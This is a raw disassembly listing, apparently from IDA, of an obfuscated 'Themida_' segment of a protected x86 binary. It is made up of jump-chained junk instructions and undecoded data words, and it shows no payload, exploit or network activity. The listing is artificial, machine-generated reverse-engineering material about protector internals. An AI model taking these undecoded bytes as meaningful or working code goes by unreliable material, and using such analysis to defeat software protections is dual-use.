		mov	eax, 3D2741F0h
		sub	edi, 5CE7A4Dh
		jmp	loc_56ACA4
; ---------------------------------------------------------------------------


loc_565B40:				; CODE XREF: Themida_:00569AFFj
		pop	dword ptr [esp]
		push	6F3Eh
		mov	[esp], ecx
		jmp	loc_5668DB
; ---------------------------------------------------------------------------
		dd 3CBEh, 0E9F28900h, 54C1h, 48BC631h, 4C48124h, 0F7000000h
		dd 0F5E950DEh, 56000022h, 0E18BB53h, 0CB816E79h, 5C733618h
		dd 3E14EB81h, 0E9537E7Bh, 0FFFFF1BDh, 0C681C601h, 732E35EDh
		dd 8124048Bh, 4C4h, 24343300h, 33243431h, 0D8E92434h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BA7:				; CODE XREF: Themida_:0056507Aj
		add	edx, edi
		sub	edx, 3E285A4Fh
		jmp	loc_566A4C
; ---------------------------------------------------------------------------


loc_565BB4:				; CODE XREF: Themida_:005635AEj
		or	eax, eax
		jnz	loc_56A4CB
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 74E64F8Ch
		shr	ecx, 7
		shl	ecx, 2
		shr	ecx, 2
		jmp	loc_5647B6
; ---------------------------------------------------------------------------
		db 29h
		dd 0FE015AD7h, 81243C8Bh, 4C4h,	4EE8300h, 5C243487h, 68243489h
		dd 5356h, 0E0D5E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BFE:				; CODE XREF: Themida_:00566B62j
		mov	esi, 4
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_562539
; ---------------------------------------------------------------------------
		align 4
		dd 48B5AD5h, 4C48124h, 0E9000000h, 268Eh, 6856E289h, 4
		dd 5E2434FFh, 0E9E38953h, 0FFFFD4C5h, 0C381E389h, 4, 6659BE56h
		dd 0EEC13346h, 0C1C7E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C5E:				; CODE XREF: Themida_:0055F9DCj
		push	584C7A46h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0A7B38DBAh
		jmp	loc_56DAD5
; ---------------------------------------------------------------------------
		dd 5EF3895Fh, 1B1DBE56h, 0BD550BD5h, 7A9C6710h,	58E7E9h
		dd 4EC8300h, 0E9240489h, 4241h,	94E9805Ah, 0E907E9C0h
		dd 4228h, 4EC81h, 3C890000h, 7A6ABF24h,	0CF817630h, 270940A6h
		dd 0F707E7C1h, 56DFF7D7h, 1A718ABEh, 81D6F733h,	0C11A75F6h
		dd 3E6C12Eh, 0C2EAF681h, 0F68126C5h, 2B207C6Bh,	2157EE81h
		dd 0E6815E47h, 60AE0C35h, 0BA52D6F7h, 18FB270Bh, 315AD601h
		dd 0FE295EF7h, 38B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_565CF9:				; CODE XREF: Themida_:0056BC06j
		push	edx
		mov	edx, 2
		jmp	loc_560DBE
; ---------------------------------------------------------------------------
		dd 241C895Ch, 42E908B7h, 5A000072h, 2958C189h, 24148BD1h
		dd 0FFC089E9h, 8E4C0FFh, 0B53AF480h, 0E9E528DDh, 0FFFF9F2Eh
		dd 5124048Bh, 0C181E189h, 4, 132AE9h
		db 0
; ---------------------------------------------------------------------------


loc_565D3D:				; CODE XREF: Themida_:0055C661j
		push	ebp
		mov	ebp, esp
		jmp	loc_571277
; ---------------------------------------------------------------------------
		db 66h,	51h, 86h
		dd 0E901247Ch, 8276h
; ---------------------------------------------------------------------------


loc_565D50:				; CODE XREF: Themida_:0055E821j
		push	718Dh
		mov	[esp], edi
		jmp	loc_55FCF8
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0ECh
		dd 4, 0E9240C89h, 0B787h
; ---------------------------------------------------------------------------


loc_565D6C:				; CODE XREF: Themida_:0056FF4Cj
		pop	eax
		add	edi, 42512E6h
		and	ecx, edi
		pop	edi
		shr	ecx, 0Bh
		push	53CFh
		mov	[esp], ebx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		push	ecx
		mov	ecx, 76F73BE1h
		push	ebx
		push	esi
		push	66996B3Ah
		pop	esi
		mov	ebx, 0B421D307h
		sub	ebx, esi
		jmp	loc_55DD3E
; ---------------------------------------------------------------------------


loc_565DA2:				; CODE XREF: Themida_:005609E9j
		add	ecx, 4
		push	eax
		push	ebx
		push	789212AAh
		pop	ebx
		or	ebx, 55380A3Eh
		jmp	loc_560F21
; ---------------------------------------------------------------------------


loc_565DBB:				; CODE XREF: Themida_:005674BBj
		pop	eax
		sub	esi, 0F542C46Eh
		push	esi
		sub	dword ptr [esp], 132B5433h
		jmp	loc_56B9D1
; ---------------------------------------------------------------------------
		db 1
		dd 0C2815EF2h, 3D503C0Bh, 53CAEA81h, 0DA015231h, 53CAC281h
		dd 45E95231h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565DEB:				; CODE XREF: Themida_:005639ACj
		xchg	edx, ecx
		jmp	loc_56E9CB
; ---------------------------------------------------------------------------
		dw 9CBAh
		dd 81425A02h, 77A9AE2h,	4CBE5656h, 0E916D07Fh, 0FFFF7886h
		dd 5804C483h, 55F78158h, 31DEE4ADh, 2434FFF8h, 81243C8Bh
		dd 4C4h, 55E95700h, 5E00007Ch, 31241C33h, 1C33241Ch, 24248B24h
		dd 2404A30Fh, 64E5E99Ch, 0BF57FFFFh, 3799142Eh,	16A3F781h
		dd 0FB312DFCh, 0B8505F5Fh, 4EAC508Ch, 0C103E0C1h, 0F79707E8h
		dd 585750D7h, 4E8C15Fh,	0C7430725h, 6607E950h, 0C310000h
		dd 240C3324h, 0FFBA12E9h, 0E961B0FFh, 0FFFFBDE3h
; ---------------------------------------------------------------------------


loc_565E80:				; CODE XREF: Themida_:00564FD9j
		and	edx, 0C5570AFh
		jmp	loc_56BE5A
; ---------------------------------------------------------------------------
		db 88h
		dd 0DA8858E3h, 0FF83EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565E95:				; CODE XREF: Themida_:00566CD9j
		mov	esp, [esp]
		jmp	loc_56DE1F
; ---------------------------------------------------------------------------


loc_565E9D:				; CODE XREF: Themida_:00567F4Fj
		add	dword ptr [esp], 40270839h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_568469
; ---------------------------------------------------------------------------
		db 5, 0C1h, 71h
aRsM		db '#RM',0
		dw 8700h
		dd 895C2434h, 0B850240Ch, 2ECE0D2Fh, 48BC189h, 0F9F1E924h
		dd 68FFFFh, 89000036h, 468243Ch, 5F000000h, 0FFD2E2E9h
		dd 241489FFh, 48594EBAh, 0CBB9517Ah, 0C14B197Fh, 0E9C108E1h
		dd 0A2E18108h, 0C1358D50h, 94E903E1h, 51FFFFD1h, 5835BB53h
		dd 55E92B67h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F1B:				; CODE XREF: Themida_:0055CE77j
		sub	dword ptr [esp+4], 4B197818h
		mov	edx, [esp]
		jmp	loc_569713
; ---------------------------------------------------------------------------
		align 4
		dd 2434FFF1h, 0E9DAE95Ah, 0D3F7FFFFh, 2AEF381h,	0E9575963h
		dd 0FFFF71B7h, 74A2C281h, 1CE90621h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565F4F:				; CODE XREF: Themida_:0056F40Fj
		neg	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, 1D7C32C6h
		xor	ecx, 0D9482D83h
		jmp	loc_55E356
; ---------------------------------------------------------------------------


loc_565F64:				; CODE XREF: Themida_:005617E0j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		jmp	loc_56EAA2
; ---------------------------------------------------------------------------
		db 81h
		dd 741BF0C1h, 0FF515F78h, 8B042474h, 0C481240Ch, 4, 5C24048Fh
		dd 54241489h, 6454E9h, 24148700h, 754CE95Ch, 0E6C1FFFFh
		dd 0A8EE8107h, 466E5E24h, 4603E6C1h, 72A2F681h,	0F509A42Ch
		dd 3E68525Eh, 5A1F1873h, 2EC1F281h, 0D53130BFh,	5DEB015Ah
		dd 1BB468h, 0E22CE900h,	0F681FFFFh, 769850F2h, 47138305h
		dd 2DF00116h, 16471383h, 2DD0015Eh, 14911EDAh, 0EC83515Ah
		dd 242C8904h, 0B721EF68h, 83535D5Dh, 348904ECh,	1BFFBE24h
		dd 4BB33E7h, 293D8025h,	24348BF3h, 6037E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56602A:				; CODE XREF: Themida_:0056CB10j
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	1C84h
		mov	[esp], ebx
		push	1
		pop	ebx
		jmp	loc_565972
; ---------------------------------------------------------------------------


loc_566047:				; CODE XREF: Themida_:0056C97Aj
		push	edx
		mov	edx, 31DD6651h
		jmp	loc_55EEB2
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 5D345241h, 8B5EF229h, 7CE9242Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_566063:				; CODE XREF: Themida_:0056C328j
		add	esp, 4
		xor	ecx, 7CB9749Dh
		jmp	loc_5632F6
; ---------------------------------------------------------------------------


loc_566071:				; CODE XREF: Themida_:005702EAj
		xor	esi, 29966C52h
		sub	esi, 0BE686532h
		add	eax, esi
		pop	esi
		add	ebx, eax
		jmp	loc_5632AB
; ---------------------------------------------------------------------------
		db 81h
		dd 3FE3EBEEh, 36BCE9FEh, 0E0C10000h, 0F5354008h, 89F9BE33h
		dd 0CF8158C7h, 32F73E57h, 0CC684F4Fh, 0E900007Bh, 0FFFFDF45h
		dd 4EC81h, 3C890000h, 3B07BF24h, 0FD014F56h, 26DEE9h, 70E95A00h
		db 7Bh,	2 dup(0FFh)
byte_5660CB	db 8Fh			; DATA XREF: Themida_:0055C074o
		dd 6251E902h, 0B850FFFFh, 19824239h, 5B5DEA81h,	7768262Ah
		dd 0E9000038h, 3128h, 2B8F73B8h, 58C32964h, 0FF97D8E9h
		dd 5E089FFh, 4,	42Dh, 24048700h, 6A6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_566109:				; CODE XREF: Themida_:00563D94j
		pop	esi
		sub	[esp+4], ecx
		jmp	loc_562641
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF9735E9h, 88E953FFh, 31FFFFDAh, 0A6E95DEEh, 8900002Eh
		dd 0E5B82404h, 526A566Fh, 0DA7768BAh, 8BD03115h, 0C4812414h
		dd 4, 48BC329h,	4C48124h, 66000000h, 662F3868h,	0B5240C89h
		dd 66E8207Fh, 68240C8Bh, 1285h,	89243C89h, 0DEE955E7h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56616B:				; CODE XREF: Themida_:00570011j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	2BA2371Bh
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 8
		push	ebx
		mov	ebx, 21E87EBCh
		or	ebx, 717540ACh
		sub	ebx, 71D1DC86h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5704AF
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3A94633Ah, 83240C8Bh, 0AE904C4h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5661B3:				; CODE XREF: Themida_:00566500j
		shl	edx, 4
		sub	edx, 2980300Eh
		not	edx
		xor	edx, 0C36B9442h
		add	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_56C7F0
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8B24048Fh, 0D4E92424h, 88FFFF63h, 0C38059C8h, 0A3E950CEh
		dd 31FFFF98h, 0E7C15DEFh, 5AE78108h, 810FE92Bh,	315D71F7h
		dd 8BF82923h, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 1062055Ch, 0F029674Eh, 4E10622Dh, 7D710567h,	0EAE92251h
		dd 81FFFFA3h, 4C4h, 0E2895200h,	0FF90AEE9h, 6BB850FFh
		dd 40329202h, 9607E9h
		db 0
; ---------------------------------------------------------------------------


loc_566241:				; CODE XREF: Themida_:0056F8EEj
		mov	edi, [esp]
		add	esp, 4
		add	dword ptr [edx], 1
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_570F86
; ---------------------------------------------------------------------------


loc_56625F:				; CODE XREF: Themida_:005618D4j
		add	esi, 128E3C5Ch
		jmp	loc_56EF26
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 59DE4A25h, 0E981F901h, 59DE4A25h, 0E9243C8Bh, 0FFFF6BFCh
		dd 81241C8Bh, 4C4h, 7685000h, 58403013h, 90B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_566295:				; CODE XREF: Themida_:0056F979j
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edi, 4A709A9Eh
		push	ebp
		mov	ebp, 67E2CD9h
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		mov	edi, ecx
		pop	ecx
		add	edi, 6C9265B5h
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		push	ecx
		pop	edi
		jmp	loc_566682
; ---------------------------------------------------------------------------
		dd 68DAEE81h, 0BB532E85h, 469E3E13h, 1259C681h,	0DE296228h
		dd 0FFE12FE9h, 0EB685DFFh, 8900002Fh, 74FF240Ch, 0E9590424h
		dd 0A498h, 9198E950h
		db 2 dup(0)
word_566306	dw 77FFh		; DATA XREF: Themida_:0055C10Co
		dd 58669D1Ch, 9C240418h, 0FF600EE9h, 685055FFh,	5F135917h
		dd 0E92434FFh, 0A31h
dword_566324	dd 24048B66h, 1C8B5453h, 0A5C0E924h, 3489FFFFh,	752CBE24h
					; DATA XREF: Themida_:0055C270o
		dd 81521D8Ch, 4ECh, 24248900h, 4240481h, 5A000000h, 4C281h
		dd 0EA830000h, 24148704h, 8924248Bh, 5751242Ch,	2847A1BFh
		dd 5FF98912h, 8106E9C1h, 176C2AE1h, 10C98130h, 0E958F266h
		dd 1DB0h, 8704C483h, 0C6E92434h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566387:				; CODE XREF: Themida_:005679CEj
		add	bl, 0C5h
		add	bl, 89h
		add	bl, 63h
		sub	bl, al
		sub	bl, 63h
		sub	bl, 89h
		push	ax
		mov	al, 0C5h
		sub	bl, 5Eh
		add	bl, 0CFh
		sub	bl, al
		sub	bl, 0CFh
		add	bl, 5Eh
		pop	ax
		sub	bl, 46h
		push	cx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 13h
		mov	cl, al
		pop	eax
		add	bl, cl
		pop	cx
		jmp	loc_568D73
; ---------------------------------------------------------------------------


loc_5663C8:				; CODE XREF: Themida_:00567C27j
		mov	edi, 77480BE8h
		jmp	loc_5620BC
; ---------------------------------------------------------------------------


loc_5663D2:				; CODE XREF: Themida_:00567540j
		sub	al, bh
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	5244h
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_56E377
; ---------------------------------------------------------------------------


loc_5663F7:				; CODE XREF: Themida_:005630B0j
		sub	bl, ch
		pop	cx
		add	bl, 72h
		push	eax
		mov	ah, 9Ch
		jmp	loc_569CC7
; ---------------------------------------------------------------------------
		dw 0CD87h
		dd 0E49BF57h, 0FD31C327h, 8BE8295Fh, 0C483242Ch, 0A7E95004h
		dd 4FFFF9Ah, 76B7531Bh,	80E8F780h, 0F82896F7h, 438E9h
		dd 4B70BA00h, 0D1896398h, 0F751415Ah, 81592414h, 8E340FE9h
		dd 59CD29A6h, 2C8BEE31h, 4C48324h, 5BCBE9h
		db 0
; ---------------------------------------------------------------------------


loc_566455:				; CODE XREF: Themida_:00570715j
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		push	ecx
		mov	ecx, 11AA3FB5h
		xor	ecx, 41D53E03h
		mov	esi, ecx
		pop	ecx
		and	esi, 441D2F3Ch
		dec	esi
		add	esi, 7B306D82h
		shl	esi, 8
		jmp	loc_56AD49
; ---------------------------------------------------------------------------


loc_566490:				; CODE XREF: Themida_:005610E4j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55D145
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 2C31242Ch, 242C3324h, 4EC835Ch, 68243489h
		dd 1859h, 68240489h, 355329CAh,	0FFC506E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5664C9:				; CODE XREF: Themida_:00563E0Bj
		and	eax, esi
		jmp	loc_564D78
; ---------------------------------------------------------------------------
		dd 1ADC68h, 41DEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5664DA:				; CODE XREF: Themida_:00562DA6j
		add	ebp, 1DB611B3h
		mov	esi, ebp
		pop	ebp
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3A30151Eh
		add	edx, 169F4944h
		add	edx, 292A1903h
		jmp	loc_5661B3
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 2
		dd 0F274F505h, 0C2825E3h, 0D0F736EEh, 0D8F7D0F7h, 0D8A3BC2Dh
		dd 58C12996h, 6361E9h
		db 0
; ---------------------------------------------------------------------------


loc_566525:				; CODE XREF: Themida_:00570EC4j
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	786Dh
		mov	[esp], eax
		mov	eax, 4
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56E5DF
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4BD55h, 0E9810000h, 1C527F4Bh, 1DBCC181h,	0E9292EF3h
		dd 1DBCE981h, 0BE562EF3h, 1C527F4Bh, 348BF101h,	4C48324h
		dd 624CE9h, 78E98100h, 0E92F8273h, 2FDFh, 0E9240489h, 0FFFF5D93h
		dd 53C3E953h, 2B80000h,	0E9000000h, 6FFFh, 292EF781h, 62E922E9h
		dd 5000005Fh, 4B8h, 58C30100h, 4EB81h, 1C870000h, 24248B24h
		dd 89243489h, 7A16E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665CA:				; CODE XREF: Themida_:0055D9E7j
		add	ch, 72h
		add	bl, ch
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55C49A
; ---------------------------------------------------------------------------
		db 83h
		dd 0BB5304C4h, 4, 1C8BDA01h, 4C48124h, 87000000h, 9CE92414h
		dd 89000015h, 0BD55241Ch, 7D5A2F95h, 0D40CABBBh, 0B4FE975h
		dd 0B5510000h, 0F6C5FE5Eh, 75C8E9D5h, 0C8BFFFFh, 0E0895024h
		dd 0FF8A1EE9h, 4C481FFh, 0E9000000h, 4E0Dh, 815F5457h
		dd 4C7h, 2EF8100h, 87000000h, 0E95C243Ch, 0FFFFA58Eh
; ---------------------------------------------------------------------------


loc_566648:				; CODE XREF: Themida_:0056C68Bj
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_55D8AD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF5CC7h
; ---------------------------------------------------------------------------


loc_56665C:				; CODE XREF: Themida_:005643F0j
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_565AB6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 50000000h, 4B8h, 58C30100h, 2474FF53h, 2434FF04h, 575E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566682:				; CODE XREF: Themida_:005662CFj
		pop	ecx
		and	edi, 4282025h
		jmp	loc_571340
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 94F38104h, 0E95C11D6h, 2E8Bh, 4B8DB850h, 0F748705Ch
		dd 6E0C1D0h, 0C7C2548h,	7EE9497Eh, 89000069h, 0C301E9E3h
		dd 0BB53FFFFh, 35472CADh, 2EE0BD55h, 0CE9021Ah
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666CB:				; CODE XREF: Themida_:0056F069j
		mov	ecx, [esp]
		jmp	loc_563258
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1CE92434h, 8000007Ch, 0C28094F2h, 0F53DE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666E6:				; CODE XREF: Themida_:005650CDj
		mov	edx, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_560D8F
		push	6270h
		mov	[esp], edx
		jmp	loc_56BE73
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 4EC835Ch, 54241489h,	6A1EE95Ah, 0F0010000h, 510D68h
		dd 24148900h, 7749CCBAh, 5AD00160h, 8124348Bh, 4C4h, 5A2D6800h
		dd 0C890000h, 51555024h, 3EA2BB53h, 0EB8142B7h,	48BA1103h
		dd 5022CB81h, 0CB810A23h, 2EAC7791h, 1E6BD55h, 0EB31C182h
		dd 5BD9895Dh, 5EA784BDh, 0E9CD2979h, 0FFFFD856h
; ---------------------------------------------------------------------------


loc_566768:				; CODE XREF: Themida_:0056B45Ej
		push	9734E1Fh
		pop	edx
		jmp	loc_56CE46
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 48F5400h, 0EF08E924h, 0C89FFFFh, 5B99E924h
		db 2 dup(0FFh)
word_56678A	dw 8B66h		; DATA XREF: Themida_:0055C16Co
		dd 54502404h, 1AFF6858h, 86E90000h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56679B:				; CODE XREF: Themida_:00565050j
		pop	esi
		jmp	loc_563D66
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 24h
		dd 5F344554h, 6FF4E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667AE:				; CODE XREF: Themida_:00565279j
		push	ebp
		mov	ebp, 72491C20h
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		pop	ebx
		pop	ebp
		add	ebp, edi
		pop	edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56F481
; ---------------------------------------------------------------------------
		dd 9E9E289h, 0B9FFFFE6h, 69454125h, 0FF847EE9h,	0E9E689FFh
		dd 0FFFF9D46h
dword_5667E4	dd 24048B66h, 0FF95E2E9h, 0E9E189FFh, 50E3h ; DATA XREF: Themida_:0055C218o
; ---------------------------------------------------------------------------


loc_5667F4:				; CODE XREF: Themida_:00560D8Aj
		mov	[esp], edi
		mov	edi, 326F6ADCh
		jmp	loc_5613DE
; ---------------------------------------------------------------------------


loc_566801:				; CODE XREF: Themida_:0056510Aj
		push	edi
		jmp	loc_568F3C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 7F71CB81h, 0D3876F01h, 2414F752h, 8290E95Ah,	0A6BD0000h
		dd 14C2823h, 0E3815DEBh, 481560BAh, 0EB81DBF7h,	0B7FBFF52h
		dd 0C7E9D901h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566837:				; CODE XREF: Themida_:0055C55Bj
		add	esp, 4
		push	4E57h
		jmp	loc_56C372
; ---------------------------------------------------------------------------


loc_566844:				; CODE XREF: Themida_:0055D42Aj
		push	ebp
		mov	ebp, esp
		push	esi
		push	ecx
		push	594D5B80h
		jmp	loc_5617F2
; ---------------------------------------------------------------------------
		db 4
aSud		db 'U',0
		align 2
		dw 1C8Bh
		dd 4C48324h, 0D1F7CD87h, 0FFFB9DE9h, 0E95B5BFFh, 0FFFF72B5h
		dd 0BBh, 6374E900h, 0D0010000h,	94643605h, 24148B0Bh, 0FF643FE9h
		dd 246C29FFh, 246C8104h, 387CE204h, 89535D21h, 4C381E3h
		dd 51000000h, 4B9h, 59CB2900h, 5C241C87h, 0FFBEA8E9h, 6EB8BBFFh
		dd 0DF291866h, 31D8E95Bh, 4FB80000h, 0F723C70Ch, 12DD8h
		dd 50570000h, 38F3B4B8h, 58C789DCh, 0D7E9F831h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668DB:				; CODE XREF: Themida_:00565B4Bj
		push	edi
		push	1EC81282h
		pop	edi
		or	edi, 6E18035Ch
		xor	edi, 7ED813DAh
		mov	ecx, edi
		pop	edi
		push	ecx
		mov	ecx, 1EBE1994h
		jmp	loc_568132
; ---------------------------------------------------------------------------
		dd 57241C89h, 0A35ECFBFh, 58E95065h, 0FF000058h, 58042474h
		dd 44CBE9h, 0C4C3BD00h,	0F5018A60h, 5DE9015Eh, 66BDBF57h
		dd 0E7C159FCh, 4DBD5508h, 29701761h, 7351E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566936:				; CODE XREF: Themida_:005696DFj
		add	ebp, 0A8C5909h
		sub	ecx, 75940A77h
		add	ecx, ebp
		add	ecx, 75940A77h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	7217h
		jmp	loc_570354
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 83662404h, 66022404h, 6624048Fh, 6636FE68h, 52242C89h
		dd 49CBBA66h, 0F6EA8166h, 9C68662Eh, 8ECE94Dh, 2C890000h
		dd 0E4B95124h, 0BD020E32h, 2DDEE3A3h, 0C159CD01h, 0ED8104E5h
		dd 8E5D2ADAh, 515DEE31h, 3C6E7BB9h, 3DC1810Ch, 8143590Ch
		dd 0FF2BA5E1h, 0F4F18171h, 93DD536h, 8C8AE9CEh,	0CB800000h
		dd 80DBF6DFh, 0C38043C3h, 7E3C055h, 2A75E9h, 24248B00h
		dd 8904EC83h, 0EC832404h, 2FA06804h, 0F5E90000h, 43000006h
		dd 4721EB81h, 0B8502696h, 0B8B0646Dh, 3A1DEB81h, 6CE92262h
		dd 5CFFFF87h, 6824048Bh, 1293h,	89241489h, 4C281E2h, 81000000h
		dd 4EAh, 4EC8100h, 89000000h, 74FF2414h, 72E90424h, 0FFFFFFB5h
		dd 83592434h, 148904ECh, 4EC8324h, 24048F54h, 4240483h
		dd 0E924148Bh, 0FFFFB805h
; ---------------------------------------------------------------------------


loc_566A4C:				; CODE XREF: Themida_:00565BAFj
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56F714
; ---------------------------------------------------------------------------
		dd 5076BA52h, 52504F04h, 0F4360A68h, 0E2815A2Fh, 16420047h
		dd 8103E2C1h, 0A658C5EAh, 0E9D08985h, 0FFFFF27Fh
; ---------------------------------------------------------------------------


loc_566A90:				; CODE XREF: Themida_:00570FDEj
		push	eax
		push	ebp
		jmp	loc_5629FA
; ---------------------------------------------------------------------------
		db 81h
		dd 0E85B77C3h, 95EB8137h, 5139313Ah, 0FFB15AE9h, 31C531FFh
		dd 0E4D8E9E8h, 295BFFFFh, 74EE81DEh, 0E9257467h, 0FFFF66CFh
; ---------------------------------------------------------------------------


loc_566AC0:				; CODE XREF: Themida_:00564FF3j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 75294C7Bh
		jmp	loc_55E197
; ---------------------------------------------------------------------------
		db 81h
		dd 0C34FA2C5h, 24148B1Eh, 4C481h, 0FF550000h, 0FF042474h
		dd 4FE92434h, 5B000091h, 5B4EEA81h, 0EA81494Bh,	39030A39h
		dd 2514C281h, 0B95141BDh, 5DA90631h, 0F9CFC181h, 4FE9A256h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566B13:				; CODE XREF: Themida_:00569CC2j
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5707E1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E789575Fh, 4C781h, 0EF810000h, 4, 8B243C87h, 2C892424h
		dd 4BD24h, 0C7810000h, 5FC87639h, 3881E9h
		db 0
; ---------------------------------------------------------------------------


loc_566B51:				; CODE XREF: Themida_:005650AFj
		push	3832h
		mov	[esp], ecx
		push	7964h
		mov	[esp], esp
		push	esi
		jmp	loc_565BFE
; ---------------------------------------------------------------------------


loc_566B67:				; CODE XREF: Themida_:00569829j
		push	dword ptr [esp]
		jmp	loc_5623F0
; ---------------------------------------------------------------------------
byte_566B6F	db 0FFh			; DATA XREF: Themida_:0055C1E0o
		dd 34FF3877h, 54575924h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 39DB2846h
		inc	esi
		jmp	loc_560E59
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 955AD029h, 1C581h, 0E9950000h, 66D2h
; ---------------------------------------------------------------------------


loc_566BA0:				; CODE XREF: Themida_:00568D3Bj
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56CAEF
; ---------------------------------------------------------------------------
		db 89h
		dd 57522424h, 4BFh, 0E9FA8900h,	0FFFF97AEh, 5C0CF681h
		dd 0FFE975F2h, 8B000043h, 0C1012424h, 240C3358h, 33240C31h
		dd 248B240Ch, 242CD224h, 7B1FE99Ch, 0D8F60000h,	0EFE91804h
		dd 83FFFF83h, 48F04C4h,	0A4E95C24h
		db 0EBh, 2 dup(0FFh)
